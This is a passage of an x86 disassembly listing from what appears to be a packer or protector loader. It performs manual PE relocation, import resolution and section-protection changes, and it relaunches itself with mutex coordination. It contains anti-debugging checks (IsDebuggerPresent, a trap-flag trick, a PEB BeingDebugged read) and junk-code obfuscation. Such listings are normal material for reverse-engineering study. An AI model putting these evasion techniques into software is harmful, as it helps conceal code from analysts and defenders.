[ebp-0Ch] add eax, 28h mov [ebp-0Ch], eax jmp short loc_4B4FD6 ; --------------------------------------------------------------------------- loc_4B5032: ; CODE XREF: .text:004B4FDCj mov ecx, [ebp-20h] cmp ecx, [ebp-24h] jz loc_4B5127 push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4B5075 ; CODE XREF: .text:loc_4B5075j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4B504D: ; CODE XREF: .text:004B506Ej jmp short loc_4B506C ; --------------------------------------------------------------------------- loc_4B504F: ; CODE XREF: .text:loc_4B506Cj xor ecx, ecx loc_4B5051: ; CODE XREF: .text:004B5060j jz short $+2 jmp short loc_4B5065 ; --------------------------------------------------------------------------- loc_4B5055: ; CODE XREF: .text:004B5069j stc xor ecx, 3 jz short near ptr dword_4B4FE8+3 jmp short loc_4B5062 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4B505E: ; CODE XREF: .text:loc_4B5062j jmp short loc_4B5070 ; --------------------------------------------------------------------------- jz short loc_4B5051 loc_4B5062: ; CODE XREF: .text:004B505Bj jnb short loc_4B505E ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4B5065: ; CODE XREF: .text:004B5053j sbb bl, bl xor ebx, ebx jmp short loc_4B5055 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4B506C: ; CODE XREF: .text:loc_4B504Dj jmp short loc_4B504F ; --------------------------------------------------------------------------- jmp short loc_4B504D ; --------------------------------------------------------------------------- loc_4B5070: ; CODE XREF: .text:loc_4B505Ej repne sbb al, 0DBh jmp short loc_4B5078 ; --------------------------------------------------------------------------- loc_4B5075: ; CODE XREF: .text:004B5048j jmp short near ptr loc_4B5048+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4B5078: ; CODE XREF: .text:004B5073j popa popf bswap eax not ecx bswap eax not ecx mov edx, [ebp-28h] mov eax, [ebp-20h] add eax, [edx+88h] mov [ebp-40h], eax jo short loc_4B509A jl short loc_4B5098 loc_4B5095: ; CODE XREF: .text:loc_4B5098j ; .text:loc_4B509Aj jmp short loc_4B509C ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4B5098: ; CODE XREF: .text:004B5093j jz short loc_4B5095 loc_4B509A: ; CODE XREF: .text:004B5091j jmp short loc_4B5095 ; --------------------------------------------------------------------------- loc_4B509C: ; CODE XREF: .text:loc_4B5095j mov ecx, [ebp-28h] mov edx, [ecx+8Ch] mov [ebp-3Ch], edx push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4B50CB loc_4B50C8: ; CODE XREF: .text:004B50E9j jmp short near ptr loc_4B50EB+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B50CB: ; CODE XREF: .text:004B50C6j xor ebx, ebx jz short $+2 jmp short loc_4B50DE ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4B50D4: ; CODE XREF: .text:004B50E0j mov ecx, 34F9C987h nop stc jz short loc_4B50E2 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B50DE: ; CODE XREF: .text:004B50CFj xor eax, eax jz short loc_4B50D4 loc_4B50E2: ; CODE XREF: .text:004B50DBj mov eax, 4840C987h test eax, eax jnz short loc_4B50C8 loc_4B50EB: ; CODE XREF: .text:loc_4B50C8j jmp near ptr 92B1EE51h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov eax, [ebp-3Ch] push eax mov ecx, [ebp-40h] push ecx mov edx, [ebp-24h] push edx mov eax, [ebp-20h] push eax call sub_4B5293 add esp, 10h and eax, 0FFh test eax, eax jnz short loc_4B511C xor eax, eax jmp loc_4B528C ; --------------------------------------------------------------------------- loc_4B511C: ; CODE XREF: .text:004B5113j jo short loc_4B5125 jl short loc_4B5123 loc_4B5120: ; CODE XREF: .text:loc_4B5123j ; .text:loc_4B5125j jmp short loc_4B5127 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4B5123: ; CODE XREF: .text:004B511Ej jz short loc_4B5120 loc_4B5125: ; CODE XREF: .text:loc_4B511Cj jmp short loc_4B5120 ; --------------------------------------------------------------------------- loc_4B5127: ; CODE XREF: .text:004B5038j ; .text:loc_4B5120j mov ecx, [ebp-28h] mov edx, [ecx+68h] push edx mov eax, [ebp-20h] push eax call sub_4B5417 add esp, 8 and eax, 0FFh test eax, eax jnz short loc_4B514A xor eax, eax jmp loc_4B528C ; --------------------------------------------------------------------------- loc_4B514A: ; CODE XREF: .text:004B5141j mov ecx, [ebp-18h] mov [ebp-0Ch], ecx loc_4B5150: ; CODE XREF: .text:004B525Aj mov edx, [ebp-0Ch] cmp edx, [ebp-14h] jnb loc_4B525F mov eax, [ebp-0Ch] mov ecx, [eax+24h] mov [ebp-50h], ecx mov byte ptr [ebp-58h], 0 mov byte ptr [ebp-54h], 0 mov byte ptr [ebp-4Ch], 0 mov edx, [ebp-50h] and edx, 20000020h test edx, edx jz short loc_4B5182 mov byte ptr [ebp-4Ch], 1 loc_4B5182: ; CODE XREF: .text:004B517Cj mov eax, [ebp-50h] and eax, 40000000h test eax, eax jz short loc_4B5192 mov byte ptr [ebp-58h], 1 loc_4B5192: ; CODE XREF: .text:004B518Cj mov ecx, [ebp-50h] and ecx, 80000000h test ecx, ecx jz short loc_4B51A3 mov byte ptr [ebp-54h], 1 loc_4B51A3: ; CODE XREF: .text:004B519Dj mov dword ptr [ebp-44h], 1 mov edx, [ebp-4Ch] and edx, 0FFh test edx, edx jz short loc_4B51EB mov eax, [ebp-54h] and eax, 0FFh test eax, eax jz short loc_4B51CC mov dword ptr [ebp-44h], 40h jmp short loc_4B51E9 ; --------------------------------------------------------------------------- loc_4B51CC: ; CODE XREF: .text:004B51C1j mov ecx, [ebp-58h] and ecx, 0FFh test ecx, ecx jz short loc_4B51E2 mov dword ptr [ebp-44h], 20h jmp short loc_4B51E9 ; --------------------------------------------------------------------------- loc_4B51E2: ; CODE XREF: .text:004B51D7j mov dword ptr [ebp-44h], 10h loc_4B51E9: ; CODE XREF: .text:004B51CAj ; .text:004B51E0j jmp short loc_4B5214 ; --------------------------------------------------------------------------- loc_4B51EB: ; CODE XREF: .text:004B51B5j mov edx, [ebp-58h] and edx, 0FFh test edx, edx jz short loc_4B5214 mov eax, [ebp-54h] and eax, 0FFh test eax, eax jz short loc_4B520D mov dword ptr [ebp-44h], 4 jmp short loc_4B5214 ; --------------------------------------------------------------------------- loc_4B520D: ; CODE XREF: .text:004B5202j mov dword ptr [ebp-44h], 2 loc_4B5214: ; CODE XREF: .text:loc_4B51E9j ; .text:004B51F6j ... mov ecx, [ebp-0Ch] mov edx, [ebp-20h] add edx, [ecx+0Ch] mov [ebp-60h], edx mov eax, [ebp-0Ch] mov ecx, [eax+8] mov [ebp-48h], ecx lea edx, [ebp-5Ch] push edx mov eax, [ebp-44h] push eax mov ecx, [ebp-48h] push ecx mov edx, [ebp-60h] push edx call dword_4ED06C ; VirtualProtect test eax, eax jnz short loc_4B5251 mov dword_4F4370, 4 xor eax, eax jmp short loc_4B528C ; --------------------------------------------------------------------------- loc_4B5251: ; CODE XREF: .text:004B5241j mov eax, [ebp-0Ch] add eax, 28h mov [ebp-0Ch], eax jmp loc_4B5150 ; --------------------------------------------------------------------------- loc_4B525F: ; CODE XREF: .text:004B5156j mov ecx, [ebp-28h] mov edx, [ebp-20h] add edx, [ecx+10h] mov dword_4F4368, edx mov eax, [ebp-30h] mov [ebp-68h], eax mov ecx, [ebp-68h] push ecx call sub_4C85D6 add esp, 4 mov edx, [ebp-20h] mov dword_4F4364, edx mov eax, [ebp+8] loc_4B528C: ; CODE XREF: .text:004B4DE2j ; .text:004B4F95j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B5293 proc near ; CODE XREF: .text:004B5104p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_8] mov [ebp+var_8], eax mov ecx, [ebp+var_8] add ecx, [ebp+arg_C] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] sub edx, [ebp+arg_4] mov [ebp+var_4], edx cmp [ebp+var_4], 0 jz loc_4B5411 loc_4B52BB: ; CODE XREF: sub_4B5293:loc_4B540Cj mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb loc_4B5411 mov ecx, [ebp+var_8] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_8] mov ecx, [eax+4] mov [ebp+var_10], ecx mov edx, [ebp+var_8] add edx, [ebp+var_10] mov [ebp+var_14], edx mov eax, [ebp+var_14] cmp eax, [ebp+var_C] jbe short loc_4B52EF mov ecx, [ebp+var_C] mov [ebp+var_14], ecx loc_4B52EF: ; CODE XREF: sub_4B5293+54j mov edx, [ebp+var_8] add edx, 8 mov [ebp+var_8], edx mov eax, [ebp+var_1C] add eax, [ebp+arg_0] mov [ebp+var_18], eax loc_4B5301: ; CODE XREF: sub_4B5293:loc_4B5407j mov ecx, [ebp+var_8] cmp ecx, [ebp+var_14] jnb loc_4B540C mov edx, [ebp+var_8] mov ax, [edx] mov word ptr [ebp+var_28], ax mov ecx, [ebp+var_8] add ecx, 2 mov [ebp+var_8], ecx mov edx, [ebp+var_28] and edx, 0FFFFh and edx, 0F000h sar edx, 0Ch mov word ptr [ebp+var_20], dx mov eax, [ebp+var_28] and eax, 0FFFFh and eax, 0FFFh mov word ptr [ebp+var_24], ax mov ecx, [ebp+var_20] and ecx, 0FFFFh cmp ecx, 1 jnz short loc_4B5388 mov edx, [ebp+var_24] and edx, 0FFFFh mov eax, [ebp+var_18] add eax, edx mov [ebp+var_2C], eax mov ecx, [ebp+var_2C] xor edx, edx mov dx, [ecx] mov eax, [ebp+var_4] and eax, 0FF00h shr eax, 10h and eax, 0FFFFh add edx, eax mov ecx, [ebp+var_2C] mov [ecx], dx jmp short loc_4B5407 ; --------------------------------------------------------------------------- loc_4B5388: ; CODE XREF: sub_4B5293+C0j mov edx, [ebp+var_20] and edx, 0FFFFh cmp edx, 2 jnz short loc_4B53C7 mov eax, [ebp+var_24] and eax, 0FFFFh mov ecx, [ebp+var_18] add ecx, eax mov [ebp+var_30], ecx mov edx, [ebp+var_30] xor eax, eax mov ax, [edx] mov ecx, [ebp+var_4] and ecx, 0FFh and ecx, 0FFFFh add eax, ecx mov edx, [ebp+var_30] mov [edx], ax jmp short loc_4B5407 ; --------------------------------------------------------------------------- loc_4B53C7: ; CODE XREF: sub_4B5293+101j mov eax, [ebp+var_20] and eax, 0FFFFh cmp eax, 3 jnz short loc_4B53F7 mov ecx, [ebp+var_24] and ecx, 0FFFFh mov edx, [ebp+var_18] mov eax, [edx+ecx] add eax, [ebp+var_4] mov ecx, [ebp+var_24] and ecx, 0FFFFh mov edx, [ebp+var_18] mov [edx+ecx], eax jmp short loc_4B5407 ; --------------------------------------------------------------------------- loc_4B53F7: ; CODE XREF: sub_4B5293+13Fj mov eax, [ebp+var_20] and eax, 0FFFFh test eax, eax jz short loc_4B5407 xor al, al jmp short loc_4B5413 ; --------------------------------------------------------------------------- loc_4B5407: ; CODE XREF: sub_4B5293+F3j ; sub_4B5293+132j ... jmp loc_4B5301 ; --------------------------------------------------------------------------- loc_4B540C: ; CODE XREF: sub_4B5293+74j jmp loc_4B52BB ; --------------------------------------------------------------------------- loc_4B5411: ; CODE XREF: sub_4B5293+22j ; sub_4B5293+2Ej mov al, 1 loc_4B5413: ; CODE XREF: sub_4B5293+172j mov esp, ebp pop ebp retn sub_4B5293 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B5417 proc near ; CODE XREF: .text:004B5132p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h mov [ebp+var_8], 80000000h cmp [ebp+arg_4], 0 jnz short loc_4B5431 mov al, 1 jmp loc_4B55AC ; --------------------------------------------------------------------------- loc_4B5431: ; CODE XREF: sub_4B5417+11j mov eax, [ebp+arg_4] add eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4B543A: ; CODE XREF: sub_4B5417+18Ej mov ecx, [ebp+var_4] cmp dword ptr [ecx+0Ch], 0 jz loc_4B55AA mov edx, [ebp+var_4] mov eax, [edx+0Ch] add eax, [ebp+arg_0] mov [ebp+var_18], eax mov ecx, [ebp+var_4] mov edx, [ecx] add edx, [ebp+arg_0] mov [ebp+var_10], edx mov eax, [ebp+var_4] mov ecx, [eax+10h] add ecx, [ebp+arg_0] mov [ebp+var_14], ecx push 0 call dword_4ED080 ; RtlRestoreLastWin32Error mov edx, [ebp+var_18] push edx call dword_4ED07C ; LoadLibraryA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4B54B3 mov dword_4F4370, 3 call dword_4ED078 ; RtlGetLastWin32Error push eax mov eax, [ebp+var_18] push eax push offset aFileSErrorD ; "File \"%s\", error %d" push offset byte_4F4374 ; Dest call _sprintf_0 add esp, 10h xor al, al jmp loc_4B55AC ; --------------------------------------------------------------------------- loc_4B54B3: ; CODE XREF: sub_4B5417+6Cj ; sub_4B5417+180j mov ecx, [ebp+var_10] cmp dword ptr [ecx], 0 jz loc_4B559C mov [ebp+var_1C], 0 mov edx, [ebp+var_10] mov eax, [edx] and eax, 80000000h test eax, eax jz short loc_4B552F mov ecx, [ebp+var_10] mov edx, [ecx] and edx, 0FFFFh mov word ptr [ebp+var_20], dx mov eax, [ebp+var_20] and eax, 0FFFFh push eax mov ecx, [ebp+var_C] push ecx call dword_4ED074 ; GetProcAddress mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_4B552D mov dword_4F4370, 3 mov edx, [ebp+var_20] and edx, 0FFFFh push edx mov eax, [ebp+var_18] push eax push offset aFileSOrdinalD ; "File \"%s\", ordinal %d" push offset byte_4F4374 ; Dest call _sprintf_0 add esp, 10h xor al, al jmp short loc_4B55AC ; --------------------------------------------------------------------------- loc_4B552D: ; CODE XREF: sub_4B5417+E6j jmp short loc_4B557D ; --------------------------------------------------------------------------- loc_4B552F: ; CODE XREF: sub_4B5417+BBj mov ecx, [ebp+var_10] mov edx, [ecx] mov eax, [ebp+arg_0] lea ecx, [edx+eax+2] mov [ebp+var_24], ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+var_C] push eax call dword_4ED074 ; GetProcAddress mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_4B557D mov dword_4F4370, 3 mov ecx, [ebp+var_24] push ecx mov edx, [ebp+var_18] push edx push offset aFileSFunctionS ; "File \"%s\", function \"%s\"" push offset byte_4F4374 ; Dest call _sprintf_0 add esp, 10h xor al, al jmp short loc_4B55AC ; --------------------------------------------------------------------------- loc_4B557D: ; CODE XREF: sub_4B5417:loc_4B552Dj ; sub_4B5417+13Cj mov eax, [ebp+var_14] mov ecx, [ebp+var_1C] mov [eax], ecx mov edx, [ebp+var_14] add edx, 4 mov [ebp+var_14], edx mov eax, [ebp+var_10] add eax, 4 mov [ebp+var_10], eax jmp loc_4B54B3 ; --------------------------------------------------------------------------- loc_4B559C: ; CODE XREF: sub_4B5417+A2j mov ecx, [ebp+var_4] add ecx, 14h mov [ebp+var_4], ecx jmp loc_4B543A ; --------------------------------------------------------------------------- loc_4B55AA: ; CODE XREF: sub_4B5417+2Aj mov al, 1 loc_4B55AC: ; CODE XREF: sub_4B5417+15j ; sub_4B5417+97j ... mov esp, ebp pop ebp retn sub_4B5417 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B55B0 proc near ; CODE XREF: sub_4B45FB+129p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 28h mov eax, [ebp+arg_0] mov [ebp+var_1C], eax mov ecx, [ebp+var_1C] mov [ebp+var_18], ecx mov edx, [ebp+var_18] mov eax, [ebp+var_1C] add eax, [edx+3Ch] mov [ebp+var_24], eax mov ecx, [ebp+var_24] add ecx, 0F8h mov [ebp+var_14], ecx mov edx, [ebp+var_24] mov eax, [ebp+var_1C] add eax, [edx+78h] mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_1C] add edx, [ecx+20h] mov [ebp+var_10], edx mov eax, [ebp+var_8] mov ecx, [ebp+var_1C] add ecx, [eax+24h] mov [ebp+var_20], ecx mov edx, [ebp+var_8] mov eax, [ebp+var_1C] add eax, [edx+1Ch] mov [ebp+var_4], eax mov [ebp+var_C], 0 jmp short loc_4B561C ; --------------------------------------------------------------------------- loc_4B5613: ; CODE XREF: sub_4B55B0:loc_4B5663j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_4B561C: ; CODE XREF: sub_4B55B0+61j mov edx, [ebp+var_8] mov eax, [ebp+var_C] cmp eax, [edx+18h] jnb short loc_4B5665 mov ecx, [ebp+var_C] mov edx, [ebp+var_10] mov eax, [ebp+var_1C] add eax, [edx+ecx*4] mov [ebp+var_28], eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+var_28] push edx call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime add esp, 8 test eax, eax jnz short loc_4B5663 mov eax, [ebp+var_C] mov ecx, [ebp+var_20] xor edx, edx mov dx, [ecx+eax*2] mov eax, [ebp+var_4] mov ecx, [ebp+var_1C] add ecx, [eax+edx*4] mov eax, ecx jmp short loc_4B5667 ; --------------------------------------------------------------------------- loc_4B5663: ; CODE XREF: sub_4B55B0+98j jmp short loc_4B5613 ; --------------------------------------------------------------------------- loc_4B5665: ; CODE XREF: sub_4B55B0+75j xor eax, eax loc_4B5667: ; CODE XREF: sub_4B55B0+B1j mov esp, ebp pop ebp retn sub_4B55B0 endp ; --------------------------------------------------------------------------- loc_4B566B: ; CODE XREF: sub_4B5E84+3p push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4F1EF0 push offset unknown_libname_18 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFF8C4h push ebx push esi push edi mov [ebp-18h], esp mov byte ptr [ebp-24h], 1 mov eax, dword_4ED02C mov [ebp-20h], eax mov ecx, [ebp-20h] add ecx, 1 mov [ebp-20h], ecx mov edx, dword_4ED218 mov [ebp-20h], edx mov eax, [ebp-20h] add eax, 1 mov [ebp-20h], eax mov ecx, dword_4ED21C mov [ebp-20h], ecx mov edx, [ebp-20h] add edx, 1 mov [ebp-20h], edx push offset sub_4B45CC call sub_4C935C add esp, 4 mov eax, dword_4ED3E4 xor eax, dword_4ED420 push eax call dword_4ED1B8 ; GetCurrentProcessId push eax push offset aXDa08x ; "%X::DA%08X" lea ecx, [ebp-128h] push ecx call _sprintf_0 add esp, 10h lea edx, [ebp-128h] push edx push 0 push 1F0001h call dword_4ED0A8 ; OpenMutexA test eax, eax jz short loc_4B571D mov byte ptr [ebp-24h], 0 loc_4B571D: ; CODE XREF: .text:004B5717j mov eax, [ebp-24h] and eax, 0FFh test eax, eax jz loc_4B58C4 mov ecx, dword_4ED3B0 xor ecx, dword_4ED3FC xor ecx, dword_4ED3F0 and ecx, 20h test ecx, ecx jz loc_4B58C4 mov edx, dword_4ED3A8 xor edx, dword_4ED418 xor edx, dword_4ED3E4 push edx push offset aRn08x ; "RN%08X" lea eax, [ebp-128h] push eax call _sprintf_0 add esp, 0Ch lea ecx, [ebp-128h] push ecx push 0 push 0 call dword_4ED0A4 ; CreateMutexA mov [ebp-12Ch], eax cmp dword ptr [ebp-12Ch], 0 jz loc_4B58C4 call dword_4ED078 ; RtlGetLastWin32Error cmp eax, 0B7h jnz loc_4B58C4 push 7530h mov edx, [ebp-12Ch] push edx call dword_4ED0A0 ; WaitForSingleObject mov [ebp-130h], eax cmp dword ptr [ebp-130h], 0 jz short loc_4B57D7 cmp dword ptr [ebp-130h], 80h jnz loc_4B58BA loc_4B57D7: ; CODE XREF: .text:004B57C5j mov eax, dword_4ED3A8 xor eax, dword_4ED418 xor eax, dword_4ED3E4 push eax push offset a08x ; "%08X" lea ecx, [ebp-128h] push ecx call _sprintf_0 add esp, 0Ch mov dword ptr [ebp-138h], 0 jmp short loc_4B5818 ; --------------------------------------------------------------------------- loc_4B5809: ; CODE XREF: .text:004B584Fj mov edx, [ebp-138h] add edx, 1 mov [ebp-138h], edx loc_4B5818: ; CODE XREF: .text:004B5807j cmp dword ptr [ebp-138h], 12Ch jge short loc_4B5851 lea eax, [ebp-128h] push eax push offset aMainclass ; "MainClass" call dword_4ED220 ; FindWindowA mov [ebp-134h], eax cmp dword ptr [ebp-134h], 0 jz short loc_4B5847 jmp short loc_4B5851 ; --------------------------------------------------------------------------- loc_4B5847: ; CODE XREF: .text:004B5843j push 64h call dword_4ED1A4 ; Sleep jmp short loc_4B5809 ; --------------------------------------------------------------------------- loc_4B5851: ; CODE XREF: .text:004B5822j ; .text:004B5845j cmp dword ptr [ebp-134h], 0 jz short loc_4B58AD mov ecx, dword_4ED3A8 xor ecx, dword_4ED418 xor ecx, dword_4ED3E4 mov [ebp-144h], ecx mov edx, dword_4F4138 push edx call _strlen_0 add esp, 4 add eax, 1 mov [ebp-140h], eax mov eax, dword_4F4138 mov [ebp-13Ch], eax lea ecx, [ebp-144h] push ecx push 0 push 4Ah mov edx, [ebp-134h] push edx call dword_4ED25C ; SendMessageA loc_4B58AD: ; CODE XREF: .text:004B5858j mov eax, [ebp-12Ch] push eax call dword_4ED09C ; ReleaseMutex loc_4B58BA: ; CODE XREF: .text:004B57D1j mov eax, 1 jmp loc_4B5E24 ; --------------------------------------------------------------------------- loc_4B58C4: ; CODE XREF: .text:004B5727j ; .text:004B5744j ... push 1 call sub_4B5E35 add esp, 4 mov ecx, [ebp-24h] and ecx, 0FFh test ecx, ecx jz loc_4B5ABF mov edx, dword_4ED3B0 xor edx, dword_4ED3FC xor edx, dword_4ED3F0 and edx, 40h test edx, edx jnz loc_4B5ABF push 200h lea eax, [ebp-344h] push eax push offset a_pad64 ; "_PAD64" call dword_4ED068 ; GetEnvironmentVariableA test eax, eax jnz loc_4B5ABF push 0C8h push 23h lea ecx, [ebp-344h] push ecx call _memset_0 add esp, 0Ch mov byte ptr [ebp-27Ch], 0 mov dword ptr [ebp-448h], 1 jmp short loc_4B5953 ; --------------------------------------------------------------------------- loc_4B5944: ; CODE XREF: .text:004B598Bj mov edx, [ebp-448h] add edx, 1 mov [ebp-448h], edx loc_4B5953: ; CODE XREF: .text:004B5942j cmp dword ptr [ebp-448h], 40h jg short loc_4B598D mov eax, [ebp-448h] push eax push offset a_padD ; "_PAD%d" lea ecx, [ebp-444h] push ecx call _sprintf_0 add esp, 0Ch lea edx, [ebp-344h] push edx lea eax, [ebp-444h] push eax call dword_4ED098 ; SetEnvironmentVariableA jmp short loc_4B5944 ; --------------------------------------------------------------------------- loc_4B598D: ; CODE XREF: .text:004B595Aj mov ecx, dword_4ED3B0 xor ecx, dword_4ED3FC xor ecx, dword_4ED3F0 and ecx, 10h test ecx, ecx jnz loc_4B5ABF lea edx, [ebp-5A0h] push edx call dword_4ED094 ; GetStartupInfoA mov al, byte_4F4120 mov [ebp-6A4h], al mov ecx, 40h xor eax, eax lea edi, [ebp-6A3h] rep stosd stosw stosb mov cl, byte_4F4120 mov [ebp-55Ch], cl mov ecx, 40h xor eax, eax lea edi, [ebp-55Bh] rep stosd stosw stosb cmp dword_4F4130, 1 jnz short loc_4B5A28 cmp dword ptr [ebp-594h], 0 jnz short loc_4B5A28 lea edx, [ebp-6A4h] push edx call sub_4B72D0 add esp, 4 and eax, 0FFh test eax, eax jz short loc_4B5A28 lea eax, [ebp-6A4h] mov [ebp-594h], eax loc_4B5A28: ; CODE XREF: .text:004B59F9j ; .text:004B5A02j ... push 104h lea ecx, [ebp-55Ch] push ecx push 0 call dword_4ED1C4 ; GetModuleFileNameA test eax, eax jnz short loc_4B5A47 xor eax, eax jmp loc_4B5E24 ; --------------------------------------------------------------------------- loc_4B5A47: ; CODE XREF: .text:004B5A3Ej lea edx, [ebp-458h] push edx lea eax, [ebp-5A0h] push eax push 0 push 0 push 0 push 0 push 0 push 0 call dword_4ED090 ; GetCommandLineA push eax lea ecx, [ebp-55Ch] push ecx call dword_4ED08C ; CreateProcessA test eax, eax jnz short loc_4B5AA3 mov dword_4F4370, 6 call dword_4ED078 ; RtlGetLastWin32Error push eax push offset aLocationXebErr ; "(Location XEB, error code %d)" push offset byte_4F4374 call _sprintf_0 add esp, 0Ch xor eax, eax jmp loc_4B5E24 ; --------------------------------------------------------------------------- loc_4B5AA3: ; CODE XREF: .text:004B5A77j push 2710h mov edx, [ebp-458h] push edx call dword_4ED224 ; WaitForInputIdle mov eax, 1 jmp loc_4B5E24 ; --------------------------------------------------------------------------- loc_4B5ABF: ; CODE XREF: .text:004B58D9j ; .text:004B58F6j ... mov eax, dword_4ED3B0 xor eax, dword_4ED3FC xor eax, dword_4ED3F0 and eax, 10h test eax, eax jz loc_4B5D9B mov ecx, dword_4ED3E4 xor ecx, dword_4ED420 push ecx call dword_4ED1B8 ; GetCurrentProcessId push eax push offset aXDa08x ; "%X::DA%08X" lea edx, [ebp-128h] push edx call _sprintf_0 add esp, 10h lea eax, [ebp-128h] push eax push 0 push 1F0001h call dword_4ED0A8 ; OpenMutexA test eax, eax jnz loc_4B5D99 push 1 call dword_4ED088 ; GetCurrentThread push eax call dword_4ED084 ; SetThreadPriority mov byte ptr [ebp-6A8h], 0 push offset aKernel32_0 ; "Kernel32" call dword_4ED07C ; LoadLibraryA mov [ebp-6ACh], eax cmp dword ptr [ebp-6ACh], 0 jz short loc_4B5B81 push offset aIsdebuggerpres ; "IsDebuggerPresent" mov ecx, [ebp-6ACh] push ecx call dword_4ED074 ; GetProcAddress mov [ebp-744h], eax cmp dword ptr [ebp-744h], 0 jz short loc_4B5B81 call dword ptr [ebp-744h] test eax, eax jz short loc_4B5B81 mov byte ptr [ebp-6A8h], 1 loc_4B5B81: ; CODE XREF: .text:004B5B4Dj ; .text:004B5B6Ej ... mov dword ptr [ebp-740h], 94h lea edx, [ebp-740h] push edx call dword_4ED1B0 ; GetVersionExA cmp dword ptr [ebp-730h], 2 jz short loc_4B5C0D mov byte ptr [ebp-748h], 0 mov dword ptr [ebp-4], 0 pushfw pop eax or eax, 100h push eax popfw nop mov dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_4B5BF7 ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov ecx, [eax] mov edx, [ecx] mov [ebp-74Ch], edx mov eax, [ebp-74Ch] sub eax, 80000004h neg eax sbb eax, eax and al, 0FEh add eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov byte ptr [ebp-748h], 1 mov dword ptr [ebp-4], 0FFFFFFFFh loc_4B5BF7: ; CODE XREF: .text:004B5BC2j mov eax, [ebp-748h] and eax, 0FFh test eax, eax jnz short loc_4B5C0D mov byte_4F4740, 1 loc_4B5C0D: ; CODE XREF: .text:004B5B9Fj ; .text:004B5C04j cmp dword ptr [ebp-730h], 2 jnz short loc_4B5C77 push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4B5C39 ; CODE XREF: .text:loc_4B5CACj loc_4B5C36: ; CODE XREF: .text:004B5C57j jmp short near ptr loc_4B5C59+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B5C39: ; CODE XREF: .text:004B5C34j xor ebx, ebx jz short $+2 jmp short loc_4B5C4C ; --------------------------------------------------------------------------- db 0B8h db 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4B5C42: ; CODE XREF: .text:004B5C4Ej mov ecx, 34F9C987h nop stc jz short loc_4B5C50 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4B5C4C: ; CODE XREF: .text:004B5C3Dj xor eax, eax jz short loc_4B5C42 loc_4B5C50: ; CODE XREF: .text:004B5C49j mov eax, 4840C987h test eax, eax jnz short loc_4B5C36 loc_4B5C59: ; CODE XREF: .text:loc_4B5C36j jmp near ptr 92B1F9BFh ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov eax, large fs:30h loc_4B5C68: ; CODE XREF: .text:004B5CD6j movzx eax, byte ptr [eax+2] or al, al jnz short loc_4B5C8E jmp loc_4B5CFF ; --------------------------------------------------------------------------- jmp short loc_4B5C8E ; --------------------------------------------------------------------------- loc_4B5C77: ; CODE XREF: 